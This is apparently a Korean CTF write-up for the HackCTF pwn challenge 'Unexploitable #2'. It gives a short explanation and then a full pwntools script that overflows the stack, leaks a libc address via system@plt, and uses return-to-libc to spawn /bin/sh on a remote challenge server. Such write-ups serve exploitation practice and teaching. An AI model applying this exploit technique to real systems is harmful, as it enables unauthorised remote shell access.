Unexploitable #1에서 system 함수를 사용해서 leak한 방법을 그대로 사용하면 된다.
이번에는 fflush 함수가 없어서 아쉽게도 fflush 이용하는 방법은 안 된다.
# 보호기법 확인
# process
gadget 찾기 ::
libc 파일 ::
이전 문제와 똑같이 system@plt를 사용해서 libc leak을 하고,
system 함수와 "/bin/sh" 주소를 구해서 RTL을 진행한다.
main 함수 주소는 elf.symbols['main']으로 안 되서 그냥 주소 적었다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./Unexploitable_2")
p = remote("ctf.j0n9hyun.xyz", 3029)
elf = ELF("./Unexploitable_2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_plt = elf.plt['system']
p1ret = 0x400773
fgets_got = elf.got['fgets']
main = 0x40068c
one_gadget_off = 0x45216
pay = 'A'*0x10 + 'B'*0x8
pay += p64(p1ret) + p64(fgets_got) + p64(system_plt)
pay += p64(main)
p.sendlineafter("\n", pay)
p.recvuntil("1: ")
fgets = u64(p.recv(6).ljust(8, '\00'))
#fgets = u64(p.recv(6) + "\x00\x00")
libcBase = fgets - libc.symbols['fgets']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]
one_gadget = libcBase + one_gadget_off
log.info("fgets : "+hex(fgets))
log.info("libcBase : "+hex(libcBase))
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))
log.info("one_gadget : "+hex(one_gadget))
pay = 'A'*0x10 + 'B'*0x8
pay += p64(p1ret) + p64(binsh) + p64(system)
#pay += p64(p1ret) + p64(one_gadget) + p64(system)
p.sendlineafter("\n", pay)
p.interactive()
# exploit
[HackCTF] SysROP (0) | 2020.01.30 |
---|---|
[HackCTF] Beginner Heap (0) | 2020.01.22 |
[HackCTF] Unexploitable #1 (0) | 2020.01.19 |
[HackCTF] UAF (0) | 2020.01.19 |
[HackCTF] Random Key (0) | 2020.01.18 |